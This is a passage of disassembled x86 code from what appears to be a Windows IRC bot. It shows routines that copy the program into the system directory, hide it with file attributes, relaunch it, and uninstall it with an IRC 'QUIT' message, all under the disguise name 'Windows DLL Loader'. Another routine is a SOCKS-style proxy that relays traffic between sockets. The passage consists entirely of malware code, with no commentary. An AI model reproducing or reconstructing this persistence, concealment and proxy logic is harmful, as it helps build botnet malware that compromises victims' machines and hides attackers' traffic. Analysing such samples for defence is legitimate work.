		call	dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_4070AF
		push	offset dword_41EBFC
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	1
		call	sub_406C51
		add	esp, 0Ch
		jmp	locret_407146
; ---------------------------------------------------------------------------

loc_4070AF:				; CODE XREF: sub_406E8E+206j
		push	4
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8	; SetFileAttributesA
		push	2
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8	; SetFileAttributesA
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_406B81
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		push	44h
		push	0
		lea	eax, [ebp+var_368]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_368], 44h
		and	[ebp+var_338], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		push	0
		call	dword_41707C	; CreateProcessA
		call	dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit

locret_407146:				; CODE XREF: sub_406E8E+165j
					; sub_406E8E+21Cj
		leave
		retn
sub_406E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407148	proc near		; CODE XREF: sub_402A32+7BBp
					; sub_40A9CF+145Fp ...

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		and	[ebp+var_108], 0
		jmp	short loc_407187
; ---------------------------------------------------------------------------

loc_40717A:				; CODE XREF: sub_407148:loc_4072DBj
		mov	eax, [ebp+var_108]
		inc	eax
		mov	[ebp+var_108], eax

loc_407187:				; CODE XREF: sub_407148+30j
		mov	eax, [ebp+var_108]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_4072E0
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4072DB
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	0
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short loc_4072D9
		push	offset dword_41EBFC
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254	; WSACleanup
		push	0
		call	dword_41705C	; ExitProcess

loc_4072D9:				; CODE XREF: sub_407148+170j
		jmp	short locret_40732B
; ---------------------------------------------------------------------------

loc_4072DB:				; CODE XREF: sub_407148+D8j
		jmp	loc_40717A
; ---------------------------------------------------------------------------

loc_4072E0:				; CODE XREF: sub_407148+4Fj
		push	offset dword_41EBFC
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	0
		call	sub_406C51
		add	esp, 0Ch
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short locret_40732B
		push	offset dword_41EBFC
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254	; WSACleanup
		push	0
		call	dword_41705C	; ExitProcess

locret_40732B:				; CODE XREF: sub_407148:loc_4072D9j
					; sub_407148+1C2j
		leave
		retn
sub_407148	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40732D	proc near		; DATA XREF: sub_40764D+145o

var_16F0	= dword	ptr -16F0h
var_16EC	= dword	ptr -16ECh
var_16E8	= dword	ptr -16E8h
var_16E4	= dword	ptr -16E4h
var_16E0	= byte ptr -16E0h
var_6E0		= byte ptr -6E0h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_5CF		= byte ptr -5CFh
var_5CE		= dword	ptr -5CEh
var_5C8		= byte ptr -5C8h
var_1C8		= dword	ptr -1C8h
var_1BE		= byte ptr -1BEh
var_1AE		= byte ptr -1AEh
var_1B		= byte ptr -1Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 16F0h
		call	sub_416BC0
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp+var_1C8]
		mov	[ebp+var_5D4], eax
		push	0
		push	408h
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40738F
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_407396

loc_40738F:				; CODE XREF: sub_40732D+5Aj
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------

loc_407396:				; CODE XREF: sub_40732D+60j
		movzx	eax, [ebp+var_5D0]
		cmp	eax, 4
		jnz	short loc_4073BA
		movzx	eax, [ebp+var_5CF]
		cmp	eax, 1
		jnz	short loc_4073BA
		mov	[ebp+var_16EC],	1
		jmp	short loc_4073C1
; ---------------------------------------------------------------------------

loc_4073BA:				; CODE XREF: sub_40732D+73j
					; sub_40732D+7Fj
		and	[ebp+var_16EC],	0

loc_4073C1:				; CODE XREF: sub_40732D+8Bj
		mov	eax, [ebp+var_16EC]
		mov	[ebp+var_4], eax
		movsx	eax, [ebp+var_1BE]
		test	eax, eax
		jz	short loc_4073F5
		push	10h
		lea	eax, [ebp+var_1BE]
		push	eax
		lea	eax, [ebp+var_5C8]
		push	eax
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4073F5
		and	[ebp+var_4], 0

loc_4073F5:				; CODE XREF: sub_40732D+A6j
					; sub_40732D+C2j
		movsx	eax, [ebp+var_1B]
		test	eax, eax
		jz	short loc_407456
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jz	short loc_407423
		mov	[ebp+var_16F0],	offset byte_41DF00
		jmp	short loc_40742D
; ---------------------------------------------------------------------------

loc_407423:				; CODE XREF: sub_40732D+E8j
		mov	[ebp+var_16F0],	offset dword_418EEC

loc_40742D:				; CODE XREF: sub_40732D+F4j
		push	[ebp+var_16F0]
		movzx	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	offset dword_418EB8
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h

loc_407456:				; CODE XREF: sub_40732D+CEj
		cmp	[ebp+var_4], 0
		jnz	short loc_4074A0
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------

loc_4074A0:				; CODE XREF: sub_40732D+12Dj
		push	0Ah
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE]
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE+2]
		call	dword_41721C	; inet_ntoa
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_5E0], eax
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	[ebp+var_5E0], 0
		jnz	short loc_407537
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------

loc_407537:				; CODE XREF: sub_40732D+1D7j
		mov	[ebp+var_5CF], 5Ah
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch

loc_407555:				; CODE XREF: sub_40732D+2FDj
		push	[ebp+var_5D4]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_4075BD
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	dword_417248	; recv
		mov	[ebp+var_16E4],	eax
		cmp	[ebp+var_16E4],	0
		jz	short loc_407597
		cmp	[ebp+var_16E4],	0FFFFFFFFh
		jnz	short loc_40759C

loc_407597:				; CODE XREF: sub_40732D+25Fj
		jmp	loc_40762F
; ---------------------------------------------------------------------------

loc_40759C:				; CODE XREF: sub_40732D+268j
		push	[ebp+var_16E4]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4075BD
		jmp	short loc_40762F
; ---------------------------------------------------------------------------

loc_4075BD:				; CODE XREF: sub_40732D+236j
					; sub_40732D+28Cj
		push	[ebp+var_5E0]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_407622
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	dword_417248	; recv
		mov	[ebp+var_16E8],	eax
		cmp	[ebp+var_16E8],	0
		jz	short loc_4075FF
		cmp	[ebp+var_16E8],	0FFFFFFFFh
		jnz	short loc_407601

loc_4075FF:				; CODE XREF: sub_40732D+2C7j
		jmp	short loc_40762F
; ---------------------------------------------------------------------------

loc_407601:				; CODE XREF: sub_40732D+2D0j
		push	[ebp+var_16E8]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407622
		jmp	short loc_40762F
; ---------------------------------------------------------------------------

loc_407622:				; CODE XREF: sub_40732D+29Ej
					; sub_40732D+2F1j
		push	32h
		call	dword_41709C	; Sleep
		jmp	loc_407555
; ---------------------------------------------------------------------------

loc_40762F:				; CODE XREF: sub_40732D:loc_407597j
					; sub_40732D+28Ej ...
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_40538D
		pop	ecx
		xor	eax, eax

locret_407649:				; CODE XREF: sub_40732D+64j
					; sub_40732D+16Ej ...
		leave
		retn	4
sub_40732D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40764D	proc near		; DATA XREF: sub_4077DD+B4o

var_1CC		= dword	ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_1B6		= byte ptr -1B6h
var_1A6		= byte ptr -1A6h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jnz	short loc_4076A8
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4077D9
; ---------------------------------------------------------------------------

loc_4076A8:				; CODE XREF: sub_40764D+46j
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset dword_418EF8
		lea	eax, [ebp+var_1A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_4076CB:				; CODE XREF: sub_40764D+B9j
					; sub_40764D+E1j ...
		push	3E8h
		push	[ebp+var_1C4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4076F8
		cmp	[ebp+var_1C8], 0
		jnz	short loc_4076FD

loc_4076F8:				; CODE XREF: sub_40764D+A0j
		jmp	loc_4077BF
; ---------------------------------------------------------------------------

loc_4076FD:				; CODE XREF: sub_40764D+A9j
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jnz	short loc_407708
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------

loc_407708:				; CODE XREF: sub_40764D+B7j
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1CC], eax
		cmp	[ebp+var_1CC], 0
		jnz	short loc_407730
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------

loc_407730:				; CODE XREF: sub_40764D+D3j
		mov	eax, [ebp+var_1CC]
		mov	ecx, [ebp+var_1C8]
		mov	[eax], ecx
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1B6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 0Ah
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	1A3h
		lea	eax, [ebp+var_1A6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_1CC]
		push	offset sub_40732D
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4077BA
		push	[ebp+var_1CC]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx

loc_4077BA:				; CODE XREF: sub_40764D+153j
		jmp	loc_4076CB
; ---------------------------------------------------------------------------

loc_4077BF:				; CODE XREF: sub_40764D:loc_4076F8j
		push	[ebp+var_1C4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4077D9:				; CODE XREF: sub_40764D+56j
		leave
		retn	4
sub_40764D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077DD	proc near		; CODE XREF: sub_40A9CF+17Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40780F
		push	0Ah
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_4], eax

loc_40780F:				; CODE XREF: sub_4077DD+Aj
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_407825
		jmp	short locret_40789E
; ---------------------------------------------------------------------------

loc_407825:				; CODE XREF: sub_4077DD+44j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_407844
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax
		jmp	short loc_40784B
; ---------------------------------------------------------------------------

loc_407844:				; CODE XREF: sub_4077DD+5Dj
		mov	[ebp+var_10], offset byte_41DF00

loc_40784B:				; CODE XREF: sub_4077DD+65j
		push	10h
		push	[ebp+var_10]
		mov	eax, [ebp+var_C]
		add	eax, 0Ah
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	offset dword_418F2C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_C]
		push	offset sub_40764D
		call	sub_4095A4
		add	esp, 14h

locret_40789E:				; CODE XREF: sub_4077DD+46j
		leave
		retn
sub_4077DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078A0	proc near		; CODE XREF: sub_40A9CF+216p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4078B8
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------

loc_4078B8:				; CODE XREF: sub_4078A0+14j
					; sub_4078A0:loc_4078E2j
		cmp	[ebp+var_4], 0
		jnz	short loc_4078C0
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------

loc_4078C0:				; CODE XREF: sub_4078A0+1Cj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_4078E0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		jmp	short loc_4078E2
; ---------------------------------------------------------------------------

loc_4078E0:				; CODE XREF: sub_4078A0+33j
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------

loc_4078E2:				; CODE XREF: sub_4078A0+3Ej
		jmp	short loc_4078B8
; ---------------------------------------------------------------------------

locret_4078E4:				; CODE XREF: sub_4078A0+16j
					; sub_4078A0+1Ej ...
		leave
		retn
sub_4078A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078E6	proc near		; CODE XREF: sub_407D42+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4078FC
; ---------------------------------------------------------------------------

loc_4078F5:				; CODE XREF: sub_4078E6:loc_407921j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_4078FC:				; CODE XREF: sub_4078E6+Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407923
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_407921
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_407921:				; CODE XREF: sub_4078E6+32j
		jmp	short loc_4078F5
; ---------------------------------------------------------------------------

loc_407923:				; CODE XREF: sub_4078E6+21j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_4078E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407928	proc near		; CODE XREF: sub_40E618+2Bp
					; sub_40E618+185p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jnz	short loc_407963
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		xor	eax, eax
		jmp	locret_407A54
; ---------------------------------------------------------------------------

loc_407963:				; CODE XREF: sub_407928+Aj
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+arg_0]
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		mov	[ebp+var_8], 1
		jmp	short loc_4079A1
; ---------------------------------------------------------------------------

loc_40799A:				; CODE XREF: sub_407928:loc_407A4Cj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_4079A1:				; CODE XREF: sub_407928+70j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_10]
		jge	loc_407A51
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4-4], 0
		jz	short loc_407A0A
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_8]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_4079F8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+eax*4]
		sub	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	short loc_4079FC
; ---------------------------------------------------------------------------

loc_4079F8:				; CODE XREF: sub_407928+B8j
		and	[ebp+var_C], 0

loc_4079FC:				; CODE XREF: sub_407928+CEj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		mov	[ecx+eax*4], edx
		jmp	short loc_407A4C
; ---------------------------------------------------------------------------

loc_407A0A:				; CODE XREF: sub_407928+90j
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		dec	eax
		jmp	short locret_407A54
; ---------------------------------------------------------------------------

loc_407A4C:				; CODE XREF: sub_407928+E0j
		jmp	loc_40799A
; ---------------------------------------------------------------------------

loc_407A51:				; CODE XREF: sub_407928+7Fj
		mov	eax, [ebp+arg_10]

locret_407A54:				; CODE XREF: sub_407928+36j
					; sub_407928+122j
		leave
		retn
sub_407928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A56	proc near		; CODE XREF: sub_401146+6Bp
					; sub_401146+CAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_407A81
		cmp	ecx, 1
		jz	short loc_407A7E

loc_407A6E:				; CODE XREF: sub_407A56+26j
		mov	al, [esi]
		mov	[edi], al
		test	al, al
		jz	short loc_407A81
		inc	esi
		inc	edi
		dec	ecx
		cmp	ecx, 1
		jnz	short loc_407A6E

loc_407A7E:				; CODE XREF: sub_407A56+16j
		mov	byte ptr [edi],	0

loc_407A81:				; CODE XREF: sub_407A56+11j
					; sub_407A56+1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407A56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A86	proc near		; CODE XREF: sub_4097A7+17p
					; sub_4098F3+17p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407A97
; ---------------------------------------------------------------------------

loc_407A90:				; CODE XREF: sub_407A86+3Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_407A97:				; CODE XREF: sub_407A86+8j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407AC6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_407AC2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jg	short loc_407AC2
		jmp	short loc_407A90
; ---------------------------------------------------------------------------

loc_407AC2:				; CODE XREF: sub_407A86+2Aj
					; sub_407A86+38j
		xor	al, al
		jmp	short locret_407AC8
; ---------------------------------------------------------------------------

loc_407AC6:				; CODE XREF: sub_407A86+1Cj
		mov	al, 1

locret_407AC8:				; CODE XREF: sub_407A86+3Ej
		leave
		retn
sub_407A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407ACA	proc near		; CODE XREF: sub_401000+F6p
					; sub_4148CE+61p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_8]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		jmp	short loc_407AED
; ---------------------------------------------------------------------------

loc_407AE6:				; CODE XREF: sub_407ACA:loc_407B58j
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax

loc_407AED:				; CODE XREF: sub_407ACA+1Aj
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		cmp	[ebp+var_C], eax
		jg	short loc_407B5A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	short loc_407B58

loc_407B37:				; CODE XREF: sub_407ACA+3Fj
					; sub_407ACA+55j
		push	[ebp+var_4]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		push	eax
